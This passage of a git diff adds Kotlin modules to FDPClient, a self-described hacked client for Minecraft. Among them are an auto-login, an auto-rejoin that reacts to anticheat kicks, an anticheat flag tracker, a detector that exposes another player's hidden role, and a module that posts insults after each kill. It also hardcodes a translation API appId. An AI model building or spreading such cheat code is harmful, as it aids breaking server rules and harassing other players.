+@ModuleInfo(name = "AutoLogin", category = ModuleCategory.OTHER) +object AutoLogin : Module() { + + private val registerCommandValue = TextValue("Register", "/register %p %p") + private val loginCommandValue = TextValue("Login", "/login %p") + private val passwordValue = TextValue("Password", "password") + private val delayValue = IntegerValue("Delay", 1500, 100, 5000) + private val titleValue = BoolValue("Title", true) + private val chatValue = BoolValue("Chat", true) + + private var logined = false + + override fun onEnable() { + logined = false + } + + @EventTarget + fun onWorld(event: WorldEvent) { + logined = false + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (logined) return + val packet = event.packet + + if (titleValue.get() && packet is S45PacketTitle) { + packet.message ?: return + processMessage(packet.message.unformattedText) + } + + if (chatValue.get() && packet is S02PacketChat) { + processMessage(packet.chatComponent.unformattedText) + } + } + + private fun processMessage(msg: String) { + if (registerCommandValue.get().isNotBlank()) { + val regCommand = registerCommandValue.get().split(" ")[0] + if (regCommand.isNotEmpty() && msg.contains(regCommand, ignoreCase = true)) { + delayedMessage(registerCommandValue.get().replace("%p", passwordValue.get())) + } + } + if (loginCommandValue.get().isNotBlank()) { + val logCommand = loginCommandValue.get().split(" ")[0] + if (logCommand.isNotEmpty() && msg.contains(logCommand, ignoreCase = true)) { + delayedMessage(loginCommandValue.get().replace("%p", passwordValue.get())) + } + } + } + + private fun delayedMessage(message: String) { + logined = true + Timer().schedule(delayValue.get().toLong()) { + if (state && mc.thePlayer != null) { + mc.thePlayer.sendChatMessage(message) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoPlay.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoPlay.kt new file mode 100644 index 0000000..89e913d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/AutoPlay.kt @@ -0,0 +1,270 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.handler.other.AutoDisable +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.event.ClickEvent +import net.minecraft.network.play.client.* +import net.minecraft.network.play.server.S02PacketChat +import net.minecraft.network.play.server.S2DPacketOpenWindow +import net.minecraft.network.play.server.S2FPacketSetSlot +import net.minecraft.util.IChatComponent +import java.util.* +import kotlin.concurrent.schedule + +@ModuleInfo(name = "AutoPlay", category = ModuleCategory.OTHER) +object AutoPlay : Module() { + + private val modeValue = ListValue("Server", arrayOf("RedeSky", "BlocksMC", "Minemora", "Hypixel", "Jartex", "Pika", "Hydracraft", "HyCraft", "MineFC/HeroMC_Bedwars", "Supercraft"), "BlocksMC") + + private val bwModeValue = ListValue("Mode", arrayOf("SOLO", "4v4v4v4"), "4v4v4v4").displayable { modeValue.equals("MineFC/HeroMC_Bedwars") } + private val autoStartValue = BoolValue("AutoStartAtLobby", true).displayable { modeValue.equals("MineFC/HeroMC_Bedwars") } + private val replayWhenKickedValue = BoolValue("ReplayWhenKicked", true).displayable { modeValue.equals("MineFC/HeroMC_Bedwars") } + private val showGuiWhenFailedValue = BoolValue("ShowGuiWhenFailed", true).displayable { modeValue.equals("MineFC/HeroMC_Bedwars") } + private val delayValue = IntegerValue("JoinDelay", 3, 0, 7) + + private var clicking = false + private var queued = false + private var clickState = 0 + private var waitForLobby = false + + override fun onEnable() { + clickState = 0 + clicking = false + queued = false + waitForLobby = false + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + when (modeValue.get().lowercase()) { + "redesky" -> { + if (clicking && (packet is C0EPacketClickWindow || packet is C07PacketPlayerDigging)) { + event.cancelEvent() + return + } + if (clickState == 2 && packet is S2DPacketOpenWindow) { + event.cancelEvent() + } + } + "hypixel" -> { + if (clickState == 1 && packet is S2DPacketOpenWindow) { + event.cancelEvent() + } + } + } + + if (packet is S2FPacketSetSlot) { + val item = packet.func_149174_e() ?: return + val windowId = packet.func_149175_c() + val slot = packet.func_149173_d() + val itemName = item.unlocalizedName + val displayName = item.displayName + + when (modeValue.get().lowercase()) { + "redesky" -> { + if (clickState == 0 && windowId == 0 && slot == 42 && itemName.contains("paper", ignoreCase = true) && displayName.contains("Jogar novamente", ignoreCase = true)) { + clickState = 1 + clicking = true + queueAutoPlay { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(6)) + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(item)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + clickState = 2 + } + } else if (clickState == 2 && windowId != 0 && slot == 11 && itemName.contains("enderPearl", ignoreCase = true)) { + Timer().schedule(500L) { + clicking = false + clickState = 0 + mc.netHandler.addToSendQueue(C0EPacketClickWindow(windowId, slot, 0, 0, item, 1919)) + } + } + } + "blocksmc", "hypixel" -> { + if (clickState == 0 && windowId == 0 && slot == 43 && itemName.contains("paper", ignoreCase = true)) { + queueAutoPlay { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(7)) + repeat(2) { + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(item)) + } + } + clickState = 1 + } + if (modeValue.equals("hypixel") && clickState == 1 && windowId != 0 && itemName.equals("item.fireworks", ignoreCase = true)) { + mc.netHandler.addToSendQueue(C0EPacketClickWindow(windowId, slot, 0, 0, item, 1919)) + mc.netHandler.addToSendQueue(C0DPacketCloseWindow(windowId)) + } + } + } + } else if (packet is S02PacketChat) { + val text = packet.chatComponent.unformattedText + val component = packet.chatComponent + when (modeValue.get().lowercase()) { + "supercraft" -> { + if (text.contains("Ganador: " + mc.session.username, true) || text.contains(mc.session.username + " fue asesinado", true)) { + queueAutoPlay { + mc.thePlayer.sendChatMessage("/sw leave") + mc.thePlayer.sendChatMessage("/sw randomjoin solo") + } + } + if (text.contains("El juego ya fue iniciado.", true)) { + FDPClient.hud.addNotification(Notification(this.name, "Failed to join, retrying...", NotifyType.ERROR, 1755)) + queueAutoPlay { + mc.thePlayer.sendChatMessage("/sw leave") + mc.thePlayer.sendChatMessage("/sw randomjoin solo") + } + } + } + "minemora" -> { + if (text.contains("Has click en alguna de las siguientes opciones", true)) { + queueAutoPlay { + mc.thePlayer.sendChatMessage("/join") + } + } + } + "hydracraft" -> { + if (text.contains("Has ganado ¿Qué quieres hacer?", true)) { + queueAutoPlay { + mc.thePlayer.sendChatMessage("/playagain") + } + } + } + "hycraft" -> { + component.siblings.forEach { sib -> + val clickEvent = sib.chatStyle.chatClickEvent + if(clickEvent != null && clickEvent.action == ClickEvent.Action.RUN_COMMAND && clickEvent.value.contains("play")) { + queueAutoPlay { + mc.thePlayer.sendChatMessage(clickEvent.value) + } + } + } + } + "blocksmc" -> { + if (clickState == 1 && text.contains("Only VIP players can join full servers!", true)) { + FDPClient.hud.addNotification(Notification(this.name, "Join failed! trying again...", NotifyType.WARNING, 3000)) + // connect failed so try to join again + Timer().schedule(1500L) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(7)) + repeat(2) { + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem())) + } + } + } + } + "jartex" -> { + if (text.contains("Play Again?", true)) { + component.siblings.forEach { sib -> + val clickEvent = sib.chatStyle.chatClickEvent + if(clickEvent != null && clickEvent.action == ClickEvent.Action.RUN_COMMAND && clickEvent.value.startsWith("/")) { + queueAutoPlay { + mc.thePlayer.sendChatMessage(clickEvent.value) + } + } + } + } + } + "pika" -> { + if (text.contains("Click here to play again", true)) { + component.siblings.forEach { sib -> + val clickEvent = sib.chatStyle.chatClickEvent + if(clickEvent != null && clickEvent.action == ClickEvent.Action.RUN_COMMAND && clickEvent.value.startsWith("/")) { + queueAutoPlay { + mc.thePlayer.sendChatMessage(clickEvent.value) + } + } + } + } + if (text.contains(mc.getSession().username + " has been") || text.contains(mc.getSession().username + " died.")) { + queueAutoPlay { + mc.thePlayer.sendChatMessage("/skywars-normal-solo") + } + } + } + "hypixel" -> { + fun process(component: IChatComponent) { + val value = component.chatStyle.chatClickEvent?.value + if (value != null && value.startsWith("/play", true) && !value.startsWith("/play skyblock", true)) { + queueAutoPlay { + mc.thePlayer.sendChatMessage(value) + } + } + component.siblings.forEach { + process(it) + } + } + process(packet.chatComponent) + } + + "minefc/heromc_bedwars" -> { + if (text.contains("Bạn đã bị loại!", false) || text.contains("đã thắng trò chơi", false)) { + mc.thePlayer.sendChatMessage("/bw leave") + waitForLobby = true + } + + if ( + ( ( waitForLobby || autoStartValue.get()) && text.contains("¡Hiển thị", false) ) || + ( replayWhenKickedValue.get() && text.contains("[Anticheat] You have been kicked from the server!", false)) + ) { + + queueAutoPlay { + mc.thePlayer.sendChatMessage("/bw join ${bwModeValue.get()}") + } + waitForLobby = false + } + + if (showGuiWhenFailedValue.get() && text.contains("giây", false) && text.contains("thất bại", false)) { + FDPClient.hud.addNotification(Notification(this.name, "Failed to join, showing GUI...", NotifyType.ERROR, 1000)) + mc.thePlayer.sendChatMessage("/bw gui ${bwModeValue.get()}") + } + } + + } + } + } + + private fun queueAutoPlay(delay: Long = delayValue.get().toLong() * 1000, runnable: () -> Unit) { + if (queued) { + return + } + queued = true + AutoDisable.handleGameEnd() + if (this.state) { + Timer().schedule(delay) { + queued = false + if (state) { + runnable() + } + } + FDPClient.hud.addNotification(Notification(this.name, "Sending you to next game in ${delayValue.get()}s...", NotifyType.INFO, delayValue.get() * 1000)) + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + clicking = false + clickState = 0 + queued = false + } + + override val tag: String + get() = modeValue.get() + + override fun handleEvents() = true +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/ChatTranslator.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/ChatTranslator.kt new file mode 100644 index 0000000..792a98a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/ChatTranslator.kt @@ -0,0 +1,92 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import com.google.gson.JsonParser +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.server.S02PacketChat +import org.apache.http.client.methods.HttpGet +import org.apache.http.impl.client.HttpClients +import org.apache.http.util.EntityUtils + +@ModuleInfo(name = "ChatTranslator", category = ModuleCategory.OTHER) +object ChatTranslator : Module() { + + private val languageValue = ListValue("Language", arrayOf("Chinese", "English"), "Chinese") + private val apiValue = ListValue("API", arrayOf("Google", "Bing", "YouDao"), "Bing") + + private val client = HttpClients.createDefault() + private val cache = HashMap<String, String>() + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is S02PacketChat) { + val msg = event.packet.chatComponent.formattedText + if (!cache.contains(msg)) { + doTranslate(msg) + } else { + ClientUtils.displayChatMessage(if (cache.containsKey(msg)) { msg } else { cache[msg]!! }) + } + + event.cancelEvent() + } + } + + private fun getLink(msg: String): String { + val message = msg.replace(" ", "%20") + return when (apiValue.get().lowercase()) { + "google" -> "http://translate.google.cn/translate_a/single?client=gtx&dt=t&dj=1&ie=UTF-8&sl=auto&tl=" + (if (languageValue.equals("chinese")) "zh_cn" else "en_us") + "&q=$message" + "bing" -> "http://api.microsofttranslator.com/v2/Http.svc/Translate?appId=A4D660A48A6A97CCA791C34935E4C02BBB1BEC1C&from=&to=" + (if (languageValue.equals("chinese")) "zh" else "en") + "&text=$message" + "youdao" -> "http://fanyi.youdao.com/translate?&doctype=json&type=AUTO&i=$message" + else -> "" + } + } + + private fun getResult(data: String): String { + when (apiValue.get().lowercase()) { + "google" -> { + val json = JsonParser().parse(data).asJsonObject + return json.get("sentences").asJsonArray.get(0).asJsonObject.get("trans").asString + } + "bing" -> { + return data + .replace("<string xmlns=\"http://schemas.microsoft.com/2003/10/Serialization/\">", "") + .replace("</string>", "") + } + "youdao" -> { + val json = JsonParser().parse(data).asJsonObject + return json.get("translateResult").asJsonArray.get(0).asJsonArray.get(0).asJsonObject.get("tgt").asString + } + } + return "WRONG VALUE" + } + + private fun doTranslate(msg: String) { + Thread { + try { + val request = HttpGet(getLink(msg)) + val response = client.execute(request) + + if (response.statusLine.statusCode != 200) { + throw IllegalStateException("resp code: " + response.statusLine.statusCode + " != 200") + } + + val result = getResult(EntityUtils.toString(response.entity)) + cache[msg] = result + ClientUtils.displayChatMessage(result) + } catch (e: Exception) { + e.printStackTrace() + ClientUtils.displayChatMessage(msg) + } + }.start() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/FakePlayer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/FakePlayer.kt new file mode 100644 index 0000000..588d534 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/FakePlayer.kt @@ -0,0 +1,30 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.minecraft.client.entity.EntityOtherPlayerMP + +@ModuleInfo(name = "FakePlayer", category = ModuleCategory.OTHER) +object FakePlayer : Module() { + + private var fakePlayer: EntityOtherPlayerMP? = null + + override fun onEnable() { + fakePlayer = EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.gameProfile) + fakePlayer!!.clonePlayer(mc.thePlayer, true) + fakePlayer!!.rotationYawHead = mc.thePlayer.rotationYawHead + fakePlayer!!.copyLocationAndAnglesFrom(mc.thePlayer) + mc.theWorld.addEntityToWorld(-1000, fakePlayer) + } + + override fun onDisable() { + mc.theWorld.removeEntityFromWorld(fakePlayer!!.entityId) + fakePlayer = null + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/FlagCheck.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/FlagCheck.kt new file mode 100644 index 0000000..6e3c09a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/FlagCheck.kt @@ -0,0 +1,178 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.login.server.S00PacketDisconnect +import net.minecraft.network.play.server.S01PacketJoinGame +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import kotlin.math.abs +import kotlin.math.roundToLong +import kotlin.math.sqrt + +@ModuleInfo(name = "FlagCheck", category = ModuleCategory.OTHER) +object FlagCheck : Module() { + + private val resetFlagCounterTicks = IntegerValue("ResetCounterTicks", 600, 100, 1000) + private val rubberbandCheck = BoolValue("RubberbandCheck", false) + private val rubberbandThreshold = FloatValue("RubberBandThreshold", 5.0f, 0.05f,10.0f).displayable { rubberbandCheck.get() } + + private var flagCount = 0 + private var lastYaw = 0F + private var lastPitch = 0F + + private fun clearFlags() { + flagCount = 0 + } + + private var lagbackDetected = false + private var forceRotateDetected = false + private var ghostBlockDetected = false + + private var lastMotionX = 0.0 + private var lastMotionY = 0.0 + private var lastMotionZ = 0.0 + + private var lastPosX = 0.0 + private var lastPosY = 0.0 + private var lastPosZ = 0.0 + + override fun onDisable() { + clearFlags() + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val player = mc.thePlayer ?: return + val packet = event.packet + + if (player.ticksExisted <= 100) + return + + if (player.isDead || (player.capabilities.isFlying && player.capabilities.disableDamage && !player.onGround)) + return + + if (packet is S08PacketPlayerPosLook) { + val deltaYaw = calculateAngleDelta(packet.yaw, lastYaw) + val deltaPitch = calculateAngleDelta(packet.pitch, lastPitch) + + if (deltaYaw > 90 || deltaPitch > 90) { + forceRotateDetected = true + flagCount++ + ClientUtils.displayChatMessage("§7(§9FlagCheck§7) §dDetected §3Force-Rotate §e(${deltaYaw.roundToLong()}° | ${deltaPitch.roundToLong()}°) §b(§c${flagCount}x§b)") + } else { + forceRotateDetected = false + } + + // Idk still testing :/ + // TODO: Make better check for ghostblock + if (player.onGround && mc.gameSettings.keyBindUseItem.isKeyDown && !mc.thePlayer.isUsingItem && player.lookVec.rotatePitch(-90f) != null) { + ghostBlockDetected = true + flagCount++ + ClientUtils.displayChatMessage("§7(§9FlagCheck§7) §dDetected §3GhostBlock §b(§eS08Packet§b) §b(§c${flagCount}x§b)") + } else { + ghostBlockDetected = false + } + + if (!forceRotateDetected && !ghostBlockDetected) { + lagbackDetected = true + flagCount++ + ClientUtils.displayChatMessage("§7(§9FlagCheck§7) §dDetected §3Lagback §b(§c${flagCount}x§b)") + } + + if (mc.thePlayer.ticksExisted % 3 == 0) { + lagbackDetected = false + } + + lastYaw = mc.thePlayer.rotationYawHead + lastPitch = mc.thePlayer.rotationPitch + } + + when (packet) { + is S01PacketJoinGame, is S00PacketDisconnect -> { + clearFlags() + } + } + } + + private fun calculateAngleDelta(newAngle: Float, oldAngle: Float): Float { + var delta = newAngle - oldAngle + if (delta > 180) delta -= 360 + if (delta < -180) delta += 360 + return abs(delta) + } + + /** + * Rubberband Checks (Still Under Testing) + */ + @EventTarget + fun onUpdate(event: UpdateEvent) { + val player = mc.thePlayer ?: return + + if (!rubberbandCheck.get() || player.ticksExisted <= 100) + return + + if (player.isDead || (player.capabilities.isFlying && player.capabilities.disableDamage && !player.onGround)) + return + + val motionX = player.motionX + val motionY = player.motionY + val motionZ = player.motionZ + + val deltaX = player.posX - lastPosX + val deltaY = player.posY - lastPosY + val deltaZ = player.posZ - lastPosZ + + val distanceTraveled = sqrt(deltaX * deltaX + deltaY * deltaY + deltaZ * deltaZ) + + val rubberbandReason = mutableListOf<String>() + + if (distanceTraveled > rubberbandThreshold.get()) { + rubberbandReason.add("Invalid Position") + } + + if (abs(motionX) > rubberbandThreshold.get() || abs(motionY) > rubberbandThreshold.get() || abs(motionZ) > rubberbandThreshold.get()) { + if (!player.isCollided && !player.onGround) { + rubberbandReason.add("Invalid Motion") + } + } + + if (rubberbandReason.isNotEmpty()) { + flagCount++ + val reasonString = rubberbandReason.joinToString(" §8|§e ") + ClientUtils.displayChatMessage("§7(§9FlagCheck§7) §dDetected §3Rubberband §8(§e$reasonString§8) §b(§c${flagCount}x§b)") + } + + // Update last position and motion + lastPosX = player.prevPosX + lastPosY = player.prevPosY + lastPosZ = player.prevPosZ + + lastMotionX = motionX + lastMotionY = motionY + lastMotionZ = motionZ + + // Automatically clear flags (Default: 10 minutes) + if (player.ticksExisted % (resetFlagCounterTicks.get() * 20) == 0) { + clearFlags() + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + clearFlags() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/HealthWarn.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/HealthWarn.kt new file mode 100644 index 0000000..cec1bfc --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/HealthWarn.kt @@ -0,0 +1,45 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Notification +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.NotifyType +import net.ccbluex.liquidbounce.features.value.IntegerValue + +@ModuleInfo(name = "HealthWarn", category = ModuleCategory.OTHER, array = false, defaultOn = true) +object HealthWarn : Module() { + + private val healthValue = IntegerValue("Health", 7, 1, 20) + + private var canWarn = true + + override fun onEnable() { + canWarn = true + } + + override fun onDisable() { + canWarn = true + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.health <= healthValue.get()) { + if (canWarn) { + FDPClient.hud.addNotification( + Notification("HP Warning", "YOU ARE AT LOW HP!", NotifyType.ERROR, 3000)) + canWarn = false + } + } else { + canWarn = true + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Insult.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Insult.kt new file mode 100644 index 0000000..9e1beaa --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/Insult.kt @@ -0,0 +1,111 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import com.google.gson.JsonArray +import com.google.gson.JsonParser +import com.google.gson.JsonPrimitive +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.EntityKilledEvent +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.file.FileManager +import net.ccbluex.liquidbounce.utils.FileUtils +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.entity.player.EntityPlayer +import java.io.File + +@ModuleInfo(name = "Insult", category = ModuleCategory.OTHER) +object Insult : Module() { + + val modeValue = ListValue( + "Mode", arrayOf( + "Clear", + "WithWords", + "RawWords" + ), "RawWords" + ) + private val waterMarkValue = BoolValue("WaterMark", true) + + private val insultFile = File(FDPClient.fileManager.dir, "insult.json") + var insultWords = mutableListOf<String>() + + init { + loadFile() + } + + fun loadFile() { + fun convertJson() { + insultWords.clear() + insultWords.addAll(insultFile.readLines(Charsets.UTF_8).filter { it.isNotBlank() }) + + val json = JsonArray() + insultWords.map { JsonPrimitive(it) }.forEach(json::add) + insultFile.writeText(FileManager.PRETTY_GSON.toJson(json), Charsets.UTF_8) + } + + try { + // check file exists + if (!insultFile.exists()) { + FileUtils.unpackFile(insultFile, "assets/minecraft/fdpclient/misc/insult.json") + } + // read it + val json = JsonParser().parse(insultFile.readText(Charsets.UTF_8)) + if (json.isJsonArray) { + insultWords.clear() + json.asJsonArray.forEach { + insultWords.add(it.asString) + } + } else { + // not jsonArray convert it to jsonArray + convertJson() + } + } catch (e: Throwable) { + e.printStackTrace() + convertJson() + } + } + + fun getRandomOne(): String { + return insultWords[RandomUtils.nextInt(0, insultWords.size - 1)] + } + + @EventTarget + fun onKilled(event: EntityKilledEvent) { + val target = event.targetEntity + + if (target !is EntityPlayer) { + return + } + + when (modeValue.get().lowercase()) { + "clear" -> { + sendInsultWords("L ${target.name}", target.name) + } + "withwords" -> { + sendInsultWords("L ${target.name} " + getRandomOne(), target.name) + } + "rawwords" -> { + sendInsultWords(getRandomOne(), target.name) + } + } + } + + private fun sendInsultWords(msg: String, name: String) { + var message = msg.replace("%name%", name) + if (waterMarkValue.get()) { + message = "[FDPClient] $message" + } + mc.thePlayer.sendChatMessage(message) + } + + override val tag: String + get() = modeValue.get() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/KeepContainer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/KeepContainer.kt new file mode 100644 index 0000000..298bc94 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/KeepContainer.kt @@ -0,0 +1,53 @@ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.KeyEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.ScreenEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.minecraft.client.gui.inventory.GuiContainer +import net.minecraft.client.gui.inventory.GuiInventory +import net.minecraft.network.play.client.C0DPacketCloseWindow +import net.minecraft.network.play.server.S2EPacketCloseWindow +import org.lwjgl.input.Keyboard + +@ModuleInfo("KeepContainer", category = ModuleCategory.OTHER) +object KeepContainer : Module() { + private var container: GuiContainer? = null + + override fun onDisable() { + if (container != null) + PacketUtils.sendPacketNoEvent(C0DPacketCloseWindow(container!!.inventorySlots.windowId)) + + container = null + } + + @EventTarget + fun onGui(event: ScreenEvent) { + if (event.guiScreen is GuiContainer && event.guiScreen !is GuiInventory) + container = event.guiScreen + } + + @EventTarget + fun onKey(event: KeyEvent) { + if (event.key == Keyboard.KEY_INSERT) { + if (container == null) + return + + mc.displayGuiScreen(container) + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (event.packet is C0DPacketCloseWindow) + event.cancelEvent() + else if (event.packet is S2EPacketCloseWindow) { + if (event.packet.windowId == container?.inventorySlots?.windowId) + container = null + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/MemoryFix.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/MemoryFix.kt new file mode 100644 index 0000000..9ec62f1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/MemoryFix.kt @@ -0,0 +1,24 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.WorldEvent +import net.ccbluex.liquidbounce.features.module.ModuleInfo + +@ModuleInfo(name = "MemoryFix", category = ModuleCategory.OTHER) +object MemoryFix : Module() { + override fun onEnable() { + Runtime.getRuntime().gc() + } + + @EventTarget + fun onWorld(event: WorldEvent) { + Runtime.getRuntime().gc() + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/MurderDetector.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/MurderDetector.kt new file mode 100644 index 0000000..89b7592 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/MurderDetector.kt @@ -0,0 +1,34 @@ +package net.ccbluex.liquidbounce.features.module.modules.other + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.minecraft.entity.player.EntityPlayer +import net.ccbluex.liquidbounce.event.WorldEvent + +@ModuleInfo(name = "MurderDetector", category = ModuleCategory.OTHER) +object MurderDetector : Module() { + + private var murderer: EntityPlayer? = null + + fun onPreMotion() { + if (mc.thePlayer.ticksExisted % 2 == 0 || this.murderer != null) { + return + } + + for (player in mc.theWorld.playerEntities) { + if (player.heldItem != null) { + if (player.heldItem.displayName.contains("Knife", ignoreCase = true)) { + ClientUtils.displayChatMessage(player.getName() + "is The Murderer.") + murderer = player + } + } + } + } + + fun onWorld(event: WorldEvent){ + murderer = null; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NameProtect.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NameProtect.kt new file mode 100644 index 0000000..78cb215 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/other/NameProtect.kt @@ -0,0 +1,71 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * 